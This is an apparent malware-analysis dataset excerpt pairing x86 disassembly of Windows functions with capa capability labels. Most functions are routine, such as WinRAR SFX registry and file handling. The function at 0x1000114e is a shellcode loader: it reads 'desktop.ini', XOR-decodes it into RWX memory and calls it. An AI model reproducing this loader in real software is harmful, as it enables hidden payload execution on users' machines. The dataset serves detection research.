joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408d2d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.0040daf0
push 0x800
lea eax, [ebp - 0x1020]
push eax
call fcn.0040d4b9
cmp byte [0x4304c9], 0
jne 0x408dc2
push 6
push dword [0x422024]
lea eax, [ebp - 0x1020]
push eax
call fcn.00406587
push eax
call fcn.0040c3ea
test eax, eax
jne 0x408dc2
push 0x41d480
call fcn.0040d4a6
lea eax, [ebp - 0x1020]
push eax
call fcn.0040da7a
xor ecx, ecx
push 0x1e
mov word [ebp + eax*2 - 0x101e], cx
push ecx
lea eax, [ebp - 0x20]
push eax
call fcn.0040da00
add esp, 0x10
push 0x14
pop eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x1020]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
leave
ret

Function at 0x408f23
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0040daf0
push ebx
xor ebx, ebx
cmp byte [0x4304f8], bl
je 0x408fa8
cmp word [0x427490], bx
je 0x408fa8
push esi
push 0x427490
lea esi, [ebp - 0x1008]
call fcn.00408ee6
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
pop esi
test eax, eax
jne 0x408fa8
push dword [ebp + 8]
call fcn.0040da7a
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1008]
push 1
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4

Function at 0x408fad
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0040daf0
cmp byte [0x4304f8], 0
je 0x409054
push esi
push dword [ebp + 8]
lea esi, [ebp - 0x200c]
call fcn.00408ee6
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop esi
test eax, eax
jne 0x409054
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x200c]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], 0x1000
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40904b
shr dword [ebp - 4], 1
mov eax, 0x7ff
cmp dword [ebp - 4], eax
jae 0x40902f
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - 0x100c], cx
lea eax, [ebp - 0x100c]
push eax
push dword [ebp + 8]
call fcn.0040b513
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 8
Function at 0x409897
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1044
call fcn.0040daf0
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp word [esi], bx
je 0x409a95
push esi
call fcn.0040da7a
pop ecx
cmp eax, 0x7f6
jae 0x409a95
push edi
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.0040da00
movzx ecx, word [esi]
add esp, 0xc
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], 0x1c0
cmp cx, 0x22
jne 0x4098f2
lea eax, [esi + 2]
mov dword [ebp - 0x34], eax
jmp 0x4098f5
mov dword [ebp - 0x34], esi
xor eax, eax
cmp cx, bx
je 0x40994b
mov ecx, esi
cmp word [ecx], 0x22
jne 0x40991d
jmp 0x40990d
cmp word [esi + eax*2], 0x22
je 0x409916
inc eax
cmp word [esi + eax*2], bx
jne 0x409906
jmp 0x40991d
push 0x20
pop ecx
mov word [esi + eax*2], cx
cmp word [esi + eax*2], 0x20
je 0x409937
cmp word [esi + eax*2 + 2], 0x2f
je 0x409937
inc eax
lea ecx, [esi + eax*2]
cmp word [ecx], bx
jne 0x4098fe
jmp 0x40994b
lea eax, [esi + eax*2]
cmp word [eax], 0x20
jne 0x409945
xor ecx, ecx
mov word [eax], cx
add eax, 2
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, ebx
je 0x409957
cmp word [eax], bx
jne 0x40996c
cmp byte [ebp + 0xc], bl
jne 0x40996c
cmp word [0x4314fa], bx
je 0x40996c
mov dword [ebp - 0x30], 0x4314fa
push dword [ebp - 0x34]
mov dword [ebp - 0x28], 1
call fcn.00406716
mov edi, eax
cmp edi, ebx
je 0x409997
push str..inf
push edi
call fcn.0040c3c9
test eax, eax
jne 0x409997
mov dword [ebp - 0x38], 0x41d870
push dword [ebp - 0x34]
call fcn.00403af6
test al, al
je 0x4099c0
push 0x800
lea eax, [ebp - 0x1044]
push eax
push dword [ebp - 0x34]
call fcn.004067a4
lea eax, [ebp - 0x1044]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x409a94
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov byte [ebp - 1], bl
cmp byte [0x4304f0], bl
jne 0x4099f0
cmp byte [ebp + 0xc], bl
jne 0x4099f0
cmp byte [0x4304dd], bl
je 0x409a50
cmp dword [ebp + 8], ebx
je 0x409a0c
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x409a0c
push ebx
push dword [ebp + 8]
call esi
mov byte [ebp - 1], 1
push 0x7d0
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 0xc]
call fcn.00408cee
cmp byte [0x4304dd], bl
je 0x409a50
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x409a50
mov eax, dword [ebp - 8]
add eax, 0x3e8
cmp eax, dword [0x4304e0]
jbe 0x409a50
mov dword [0x4304e0], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
je 0x409a6c
push 0x41d864
push edi
call fcn.0040c3c9
test eax, eax
je 0x409a83
cmp byte [0x4304f0], bl
je 0x409a83
cmp byte [ebp + 0xc], bl
jne 0x409a83
mov dword [0x4304e4], 0x1b58
cmp byte [ebp - 1], bl
je 0x409a94
cmp byte [ebp + 0xc], bl
je 0x409a94
push 1
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40ba3e
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [0x44f26c]
mov ecx, eax
xor ecx, dword [esp + 4]
shr eax, 8
mov edx, 0xff
and ecx, edx
xor eax, dword [ecx*4 + 0x43dbe0]
mov ecx, dword [0x44f274]
mov dword [0x44f26c], eax
movzx eax, al
add eax, dword [0x44f270]
imul eax, eax, 0x8088405
inc eax
mov dword [0x44f270], eax
shr eax, 0x18
xor eax, ecx
and eax, edx
shr ecx, 8
xor ecx, dword [eax*4 + 0x43dbe0]
mov eax, dword [esp + 4]
mov dword [0x44f274], ecx
ret 4

Function at 0x40badb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push dword [ebp + 0xc]
call fcn.0040ba98
push 0xc
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040e2e0
add esp, 0xc
xor esi, esi
lea edx, [ebp + esi - 0xc]
call fcn.0040ba1e
xor byte [edx], al
movzx eax, byte [edx]
push eax
call fcn.0040ba3e
inc esi
cmp esi, 0xc
jl 0x40bafd
movzx ax, byte [ebp - 1]
movzx ecx, ax
mov eax, dword [0x43e134]
test byte [eax + 0x40], 2
movzx eax, byte [0x44e19f]
jne 0x40bb38
movzx eax, byte [0x44e1a7]
movzx ecx, cx
cmp ecx, eax
je 0x40bb44
or eax, 0xffffffff
jmp 0x40bb89
mov ecx, dword [0x44e148]
mov eax, ecx
cdq
cmp edx, dword [0x43e114]
push edi
jl 0x40bb66
mov edx, dword [0x43e110]
jg 0x40bb62
cmp eax, edx
jbe 0x40bb66
mov edi, edx
jmp 0x40bb68
mov edi, ecx
mov esi, dword [0x44e144]
jmp 0x40bb82
dec edi
call fcn.0040ba1e
xor byte [esi], al
movzx eax, byte [esi]
push eax
call fcn.0040ba3e
inc esi
test edi, edi
jne 0x40bb70
xor eax, eax
pop edi
pop esi
leave
ret 8
Function at 0x40ce5f
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
xor esi, esi
push edi
mov edi, ecx
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x48]
test eax, eax
jl 0x40ce93
cmp dword [ebp - 4], esi
jne 0x40ced4
call ebx
sub eax, dword [ebp - 0xc]
cmp eax, 0x7d0
ja 0x40ced4
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40ce7d
push esi
push esi
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40ce7d
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x48]
cmp eax, esi
mov dword [ebp + 8], eax
jl 0x40cf3f
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x40cf35
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x41df08
push eax
call dword [ecx]
cmp eax, esi
mov dword [ebp + 8], eax
jl 0x40cf2c
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
cmp eax, esi
mov dword [ebp + 8], eax
jl 0x40cf23
mov eax, dword [ebp - 8]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov dword [ebp + 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp + 8], esi
jl 0x40cf3f
cmp dword [ebp - 4], esi
jne 0x40cf8e
cmp dword [edi + 8], esi
je 0x40cf8e
cmp dword [edi + 0x18], esi
jne 0x40cf8e
mov eax, dword [edi + 0x14]
cmp eax, esi
je 0x40cf8e
push eax
mov ecx, edi
call fcn.0040cc8d
mov ebx, eax
cmp ebx, esi
je 0x40cf8e
push 0x204
push esi
push esi
push esi
push esi
push 1
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 5
push dword [edi + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
push ebx
push dword [edi + 8]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push ebx
call fcn.0040db1b
pop ecx
xor eax, eax
cmp dword [ebp + 8], esi
pop edi
pop esi
setge al
pop ebx
leave
ret 8
Function at 0x40d2c8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov al, byte [ebp + 0x18]
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
push 0
push edi
mov dword [esi + 8], edi
mov byte [esi + 0x1e], al
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp + 8]
mov ecx, esi
call fcn.0040d261
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x18], eax
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 2
lea eax, [ebp - 0x10]
push eax
push edi
call ebx
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [esi + 4]
test eax, eax
je 0x40d32f
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 8]
push esi
push dword [esi]
sub edi, eax
push 0
push dword [ebp + 0xc]
lea ecx, [eax + 1]
dec edi
mov dword [ebp + 0x18], ecx
dec edi
call ebx
push eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push eax
push edi
push dword [ebp - 0xc]
xor edi, edi
push dword [ebp + 0x18]
push 0x40000000
push edi
push str.RarHtmlClassName
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [esi + 4], eax
cmp dword [esi + 0x10], edi
jne 0x40d3b1
cmp dword [ebp + 0xc], edi
je 0x40d3c7
cmp dword [esi + 0x18], edi
jne 0x40d3c7
mov eax, dword [esi + 0x14]
cmp eax, edi
je 0x40d3c7
push eax
mov ecx, esi
call fcn.0040cc8d
mov esi, eax
cmp esi, edi
je 0x40d3c7
push 5
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push esi
call fcn.0040db1b
pop ecx
jmp 0x40d3c7
cmp eax, edi
je 0x40d3c7
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x40d3ce
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x41def8
push 1
xor ebx, ebx
push ebx
push 0x41dfb8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x40d49f
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x41dfa8
push eax
call dword [ecx]
test eax, eax
jl 0x40d496
cmp byte [ebp + 8], bl
je 0x40d421
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 2
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x40d43e
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
cmp dword [ebp + 0x1c], ebx
jne 0x40d450
push 0x41d43c
jmp 0x40d453
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x40d468
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x40d479
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x40d48d
mov bl, 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x40d4b9
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x412ee5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4223ec]
jne 0x412eef
repz ret
jmp fcn.00417835
Function at 0x418e57
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00412f66
and dword [ebp - 4], 0
cmp dword [0x44fcdc], 0
mov ebx, eax
jne 0x418f08
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x418fb9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x418fb9
push eax
call fcn.00412ef4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44fcdc], eax
call esi
push eax
call fcn.00412ef4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44fce0], eax
call esi
push eax
call fcn.00412ef4
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44fce4], eax
call esi
push eax
call fcn.00412ef4
pop ecx
mov dword [0x44fcec], eax
test eax, eax
je 0x418f08
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00412ef4
pop ecx
mov dword [0x44fce8], eax
mov eax, dword [0x44fce8]
cmp eax, ebx
je 0x418f60
cmp dword [0x44fcec], ebx
je 0x418f60
push eax
call fcn.00412f6f
push dword [0x44fcec]
mov esi, eax
call fcn.00412f6f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x418f60
test edi, edi
je 0x418f60
call esi
test eax, eax
je 0x418f57
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x418f57
test byte [ebp - 0xc], 1
jne 0x418f60
or dword [ebp + 0x10], 0x200000
jmp 0x418f99
mov eax, dword [0x44fce0]
cmp eax, ebx
je 0x418f99
push eax
call fcn.00412f6f
pop ecx
test eax, eax
je 0x418f99
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x418f99
mov eax, dword [0x44fce4]
cmp eax, ebx
je 0x418f99
push eax
call fcn.00412f6f
pop ecx
test eax, eax
je 0x418f99
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44fcdc]
call fcn.00412f6f
pop ecx
test eax, eax
je 0x418fb9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x418fbb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x43efb4
Capabilities:
Access the windows event log

Disassembly:
push 0x738
mov eax, 0x4a063f
call fcn.0043fd5f
lea eax, [ebp - 0x3b8]
push eax
push 0x403750
mov esi, ecx
push 2
mov dword [ebp - 0x3b8], esi
call fcn.0043f094
push esi
call fcn.0043dad8
mov edi, eax
lea eax, [ebp - 0x3b8]
push eax
push 0x403790
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x3b8], esi
call fcn.0043e5ad
mov eax, dword [ebp - 0x2c]
xor ebx, ebx
cmp dword [ebp - 0x18], 8
mov dword [ebp - 4], ebx
jae 0x43f012
lea eax, [ebp - 0x2c]
push ebx
mov dword [ebp - 0x3bc], eax
lea eax, [ebp - 0x3bc]
push eax
push ebx
push 1
push ebx
push ebx
push ebx
push 1
push dword [0x4f11c8]
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
test esi, esi
jns 0x43f083
xor eax, eax
mov word [ebp - 0x43c], ax
mov word [ebp - 0x53c], ax
mov word [ebp - 0x740], ax
mov dword [ebp - 0x744], edi
push 0x4a66d0
lea eax, [ebp - 0x3b4]
mov ecx, 0xe2
lea esi, [ebp - 0x744]
lea edi, [ebp - 0x3b4]
mov dword [ebp - 0x540], 1
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0043fcf0
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.0043d71f
call fcn.0043fde2
ret

Function at 0x43f894
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403b5c]
jne fcn.0043fe83
ret

Function at 0x43fe83
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x4f1378], eax
mov dword [0x4f1374], ecx
mov dword [0x4f1370], edx
mov dword [0x4f136c], ebx
mov dword [0x4f1368], esi
mov dword [0x4f1364], edi
mov word [0x4f1390], ss
mov word [0x4f1384], cs
mov word [0x4f1360], ds
mov word [0x4f135c], es
mov word [0x4f1358], fs
mov word [0x4f1354], gs
pushfd
pop dword [0x4f1388]
mov eax, dword [ebp]
mov dword [0x4f137c], eax
mov eax, dword [ebp + 4]
mov dword [0x4f1380], eax
lea eax, [ebp + 8]
mov dword [0x4f138c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4f12c8], 0x10001
mov eax, dword [0x4f1380]
mov dword [0x4f127c], eax
mov dword [0x4f1270], 0xc0000409
mov dword [0x4f1274], 1
mov eax, dword [0x403b5c]
mov dword [ebp - 0x328], eax
mov eax, dword [0x4b36cc]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x4f12c0], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x403b68
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x4f12c0], 0
jne 0x43ff6f
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x454033
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x718
mov eax, dword [0x403b5c]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ecx + 0x24]
mov eax, dword [ebp + 8]
push esi
cmp edx, 0xffffffff
jne 0x454084
push 0x41ace8
push 0x15
lea ecx, [ebp - 0x714]
call fcn.00454511
mov esi, eax
push 0x4a66d0
lea eax, [ebp - 0x38c]
mov ecx, 0xe2
lea edi, [ebp - 0x38c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0043fcf0
and dword [ebp - 0x718], 0
cmp dword [eax + 0x14], 0x10
jb 0x454095
mov ecx, dword [eax]
jmp 0x454097
mov ecx, eax
push 0
lea esi, [ebp - 0x718]
push esi
push dword [eax + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4540d3
cmp byte [ebp + 0xc], al
je 0x4540cf
push 0x41acbc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x714]
call fcn.0043e526
jmp 0x454064
xor al, al
jmp 0x4540d5
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0043f894
leave
ret 8

Function at 0x454205
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x714
mov eax, dword [0x403b5c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 8
push edi
jb 0x454227
mov eax, dword [esi]
jmp 0x454229
mov eax, esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push eax
call edi
test eax, eax
jne 0x4542af
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x4542af
cmp eax, 5
jne 0x45426d
push dword [ebp + 0xc]
push 0x80
push esi
call fcn.004542c1
cmp dword [esi + 0x14], 8
jb 0x45425e
mov eax, dword [esi]
jmp 0x454260
mov eax, esi
push eax
call edi
test eax, eax
jne 0x4542af
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4542af
cmp byte [ebp + 0xc], 0
je 0x4542ab
push esi
push 0x41adf4
push eax
push 0xf
lea ecx, [ebp - 0x714]
call fcn.0045446d
mov esi, eax
push 0x4a66d0
lea eax, [ebp - 0x38c]
mov ecx, 0xe2
lea edi, [ebp - 0x38c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0043fcf0
xor al, al
jmp 0x4542b1
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0043f894
leave
ret 8

Function at 0x4542c1
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x714
mov eax, dword [0x403b5c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 8
jb 0x4542e2
mov eax, dword [esi]
jmp 0x4542e4
mov eax, esi
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x454335
cmp byte [ebp + 0x10], al
je 0x454335
lea eax, [ebp + 0xc]
push eax
push esi
push 0x41ae28
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x714]
call fcn.00454596
mov esi, eax
push 0x4a66d0
lea eax, [ebp - 0x38c]
mov ecx, 0xe2
lea edi, [ebp - 0x38c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0043fcf0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0043f894
leave
ret 0xc